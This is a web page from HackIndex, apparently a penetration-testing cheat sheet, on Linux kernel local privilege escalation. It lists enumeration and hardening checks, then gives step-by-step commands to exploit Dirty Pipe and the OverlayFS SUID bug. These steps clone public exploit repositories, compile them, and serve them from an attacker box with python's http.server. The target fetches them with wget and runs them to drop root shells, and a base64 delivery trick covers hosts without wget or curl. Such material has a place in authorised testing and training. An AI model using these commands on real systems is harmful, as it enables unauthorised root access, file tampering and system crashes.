Skip to content
HackIndex logo

HackIndex

Linux Kernel Local Privilege Escalation

6 min read Jul 14, 2026

Kernel exploits run at the highest privilege level. A failed attempt typically causes a kernel panic and crashes the system. Treat kernel exploitation as a last resort after exhausting all userspace vectors — sudo misconfigs, SUID binaries, cron jobs, and service misconfigs should all be checked first.

See https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools for automated enumeration before attempting kernel exploitation.

Prerequisites Check

Gather kernel version, distribution, and architecture:

┌──(kali㉿kali)-[~]
└─$ uname -a
┌──(kali㉿kali)-[~]
└─$ uname -v
┌──(kali㉿kali)-[~]
└─$ cat /proc/version
┌──(kali㉿kali)-[~]
└─$ cat /etc/os-release
┌──(kali㉿kali)-[~]
└─$ arch 
Linux target 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 GNU/Linux

Check exact package patch level — distributions backport security patches without incrementing the version number. uname -r alone is unreliable:

┌──(kali㉿kali)-[~]
└─$ # Debian/Ubuntu
┌──(kali㉿kali)-[~]
└─$ dpkg -l 'linux-image*' 2>/dev/null | grep ^ii
┌──(kali㉿kali)-[~]
└─$ cat /proc/version_signature 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # RHEL/CentOS/Fedora
┌──(kali㉿kali)-[~]
└─$ rpm -qa 'kernel*' 2>/dev/null | sort

A kernel build timestamp from 2024 is almost certainly patched against 2022 exploits regardless of version number.

Hardening Checks — Exploitability Gates

Several kernel settings can completely block a PoC even on a vulnerable version. Check these before spending time on a specific exploit:

┌──(kali㉿kali)-[~]
└─$ # Pointer restriction — hides kernel addresses from /proc/kallsyms
┌──(kali㉿kali)-[~]
└─$ cat /proc/sys/kernel/kptr_restrict
 
┌──(kali㉿kali)-[~]
└─$ # dmesg restriction — hides kernel log from unprivileged users
┌──(kali㉿kali)-[~]
└─$ cat /proc/sys/kernel/dmesg_restrict
 
┌──(kali㉿kali)-[~]
└─$ # Unprivileged eBPF — critical for modern LPE chains
┌──(kali㉿kali)-[~]
└─$ cat /proc/sys/kernel/unprivileged_bpf_disabled
 
┌──(kali㉿kali)-[~]
└─$ # Yama ptrace scope — restricts process attachment
┌──(kali㉿kali)-[~]
└─$ cat /proc/sys/kernel/yama/ptrace_scope
 
┌──(kali㉿kali)-[~]
└─$ # Perf event access
┌──(kali㉿kali)-[~]
└─$ cat /proc/sys/kernel/perf_event_paranoid

Interpretation:

  • kptr_restrict=2 — kernel addresses hidden even from root in logs. Many exploits need to leak these via other means

  • unprivileged_bpf_disabled=1 — eBPF-based exploits will fail entirely

  • ptrace_scope=3 — no process attachment at all, blocks ptrace-based chains

Check Kernel Lockdown and Secure Boot — Lockdown mode restricts features even for root:

┌──(kali㉿kali)-[~]
└─$ cat /sys/kernel/security/lockdown 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ # Values: none, integrity, confidentiality
┌──(kali㉿kali)-[~]
└─$ mokutil --sb-state 2>/dev/null

Check loaded modules — many exploits require specific subsystems:

┌──(kali㉿kali)-[~]
└─$ lsmod | grep -E "nf_tables|overlay|bpf|io_uring"
 
┌──(kali㉿kali)-[~]
└─$ # Check kernel config for subsystem availability
┌──(kali㉿kali)-[~]
└─$ zcat /proc/config.gz 2>/dev/null | grep -E "CONFIG_USER_NS|CONFIG_BPF_SYSCALL|CONFIG_NETFILTER|CONFIG_OVERLAY_FS"
┌──(kali㉿kali)-[~]
└─$ grep -E "CONFIG_USER_NS|CONFIG_BPF_SYSCALL|CONFIG_NETFILTER" /boot/config-$(uname -r) 2>/dev/null

Automated Enumeration

Run linux-exploit-suggester before picking a specific CVE:

┌──(kali㉿kali)-[~]
└─$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O /tmp/les.sh
┌──(kali㉿kali)-[~]
└─$ bash /tmp/les.sh

If wget is unavailable, transfer from your attack box — see https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools for transfer methods.

Cross-reference with searchsploit. Exclude DoS exploits — they crash the target without giving you a shell:

┌──(kali㉿kali)-[~]
└─$ searchsploit linux kernel $(uname -r | cut -d- -f1) --exclude="DoS"

Risk Assessment — Pick the Right Exploit

Logic bugs are stable. Memory corruption is not.

High safety — logic bugs: These abuse flaws in permission handling or filesystem logic. They rarely crash the system. Examples: Dirty Pipe, OverlayFS, PwnKit.

Low safety — memory corruption: These abuse buffer overflows, use-after-free, or heap corruption. If memory offsets do not match the exact build, the system crashes immediately. Examples: heap overflows, Netfilter UAF exploits.

Always prefer logic bugs when available.

CVE-2022-0847 — Dirty Pipe

Affected: Linux kernel 5.8 to 5.16.10 / 5.15.24 / 5.10.101

The most reliable kernel exploit for modern labs. A logic bug in the pipe buffer allows overwriting data in read-only files including SUID binaries and /etc/passwd. Extremely stable — does not crash the system.

Check if vulnerable:

┌──(kali㉿kali)-[~]
└─$ uname -r
┌──(kali㉿kali)-[~]
└─$ # Vulnerable: 5.8.0 - 5.16.10, 5.15.0 - 5.15.24, 5.10.0 - 5.10.101

Also requires a readable file with existing page cache (any non-empty readable file works):

┌──(kali㉿kali)-[~]
└─$ ls -la /etc/passwd

Exploit — overwrite /etc/passwd to add a passwordless root user:

┌──(kali㉿kali)-[~]
└─$ # On attack box — clone and compile
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
┌──(kali㉿kali)-[~]
└─$ cd CVE-2022-0847-DirtyPipe-Exploits
┌──(kali㉿kali)-[~]
└─$ gcc -o exploit1 exploit-1.c
 
┌──(kali㉿kali)-[~]
└─$ # Transfer to target
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8080
 
┌──(kali㉿kali)-[~]
└─$ # On target
┌──(kali㉿kali)-[~]
└─$ wget http://$LHOST:8080/exploit1
┌──(kali㉿kali)-[~]
└─$ chmod +x exploit1
┌──(kali㉿kali)-[~]
└─$ ./exploit1

Exploit-1 modifies /etc/passwd and drops a root shell. After use it attempts to restore the original — verify the file is intact afterwards:

┌──(kali㉿kali)-[~]
└─$ cat /etc/passwd | head -1

Alternative — exploit-2 injects a SUID shell:

┌──(kali㉿kali)-[~]
└─$ gcc -o exploit2 exploit-2.c
┌──(kali㉿kali)-[~]
└─$ ./exploit2 /usr/bin/sudo

For a dedicated Dirty Pipe page see https://hackindex.io/platforms/linux/privilege-escalation/dirty-pipe-cve-2022-0847.

CVE-2023-0386 — OverlayFS SUID Privilege Escalation

Affected: Ubuntu kernels prior to 6.2 (Ubuntu 22.04 LTS, 20.04 LTS with HWE kernel)

A logic bug in OverlayFS allows a SUID binary from a lower layer to be copied to the upper layer while retaining SUID permissions — even when the upper filesystem is nosuid. Extremely stable, logic bug, does not crash the system.

Check if vulnerable:

┌──(kali㉿kali)-[~]
└─$ uname -r
┌──(kali㉿kali)-[~]
└─$ # Check Ubuntu kernel version
┌──(kali㉿kali)-[~]
└─$ cat /proc/version_signature
 
┌──(kali㉿kali)-[~]
└─$ # Confirm OverlayFS is available
┌──(kali㉿kali)-[~]
└─$ grep overlay /proc/filesystems

Exploit:

┌──(kali㉿kali)-[~]
└─$ # On attack box
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/xkaneiki/CVE-2023-0386
┌──(kali㉿kali)-[~]
└─$ cd CVE-2023-0386
┌──(kali㉿kali)-[~]
└─$ make all
 
┌──(kali㉿kali)-[~]
└─$ # Transfer fuse, exp, ovlcap to target
┌──(kali㉿kali)-[~]
└─$ # On target
┌──(kali㉿kali)-[~]
└─$ chmod +x fuse exp ovlcap
┌──(kali㉿kali)-[~]
└─$ ./fuse ./ovlcap/lower ./gc &
┌──(kali㉿kali)-[~]
└─$ ./exp

This drops a root shell via a SUID binary planted through the OverlayFS upper layer.

CVE-2021-4034 — PwnKit (Polkit pkexec)

Affected: All pkexec versions before patched releases (virtually every Linux distro pre-January 2022)

Technically a Polkit vulnerability but exploitable via userspace. Covered fully at https://hackindex.io/platforms/linux/privilege-escalation/polkit-local-auth-escalation.

Netfilter / nftables Exploits

Require nf_tables module loaded and CONFIG_USER_NS=y:

┌──(kali㉿kali)-[~]
└─$ lsmod | grep nf_tables
┌──(kali㉿kali)-[~]
└─$ cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null

Notable CVEs in this family:

  • CVE-2022-32250 — use-after-free in nf_tables (kernel 5.18)

  • CVE-2022-1015 — out-of-bounds write (kernel 5.16)

  • CVE-2023-35001 — stack OOB (kernel 6.3)

These are memory corruption exploits — lower stability, architecture-specific offsets. Use as fallback when logic bugs are not applicable.

┌──(kali㉿kali)-[~]
└─$ searchsploit nftables
┌──(kali㉿kali)-[~]
└─$ searchsploit nf_tables

Compilation and Delivery

gcc is frequently absent on target systems. Compile on your attack box for the same architecture.

Static compilation — safest, no dependency issues:

┌──(kali㉿kali)-[~]
└─$ gcc -static exploit.c -o exploit

Cross-compile for 32-bit target on a 64-bit host:

┌──(kali㉿kali)-[~]
└─$ sudo apt install gcc-multilib
┌──(kali㉿kali)-[~]
└─$ gcc -m32 -static exploit.c -o exploit_x86

Match glibc version if not compiling static:

┌──(kali㉿kali)-[~]
└─$ # On target — check glibc version
┌──(kali㉿kali)-[~]
└─$ ldd --version
 
┌──(kali㉿kali)-[~]
└─$ # On attack box — compile against matching version or use static

Deliver without wget/curl:

┌──(kali㉿kali)-[~]
└─$ # Base64 encode on attack box
┌──(kali㉿kali)-[~]
└─$ base64 exploit > exploit.b64
┌──(kali㉿kali)-[~]
└─$ cat exploit.b64
 
┌──(kali㉿kali)-[~]
└─$ # On target — decode
┌──(kali㉿kali)-[~]
└─$ base64 -d exploit.b64 > exploit
┌──(kali㉿kali)-[~]
└─$ chmod +x exploit

References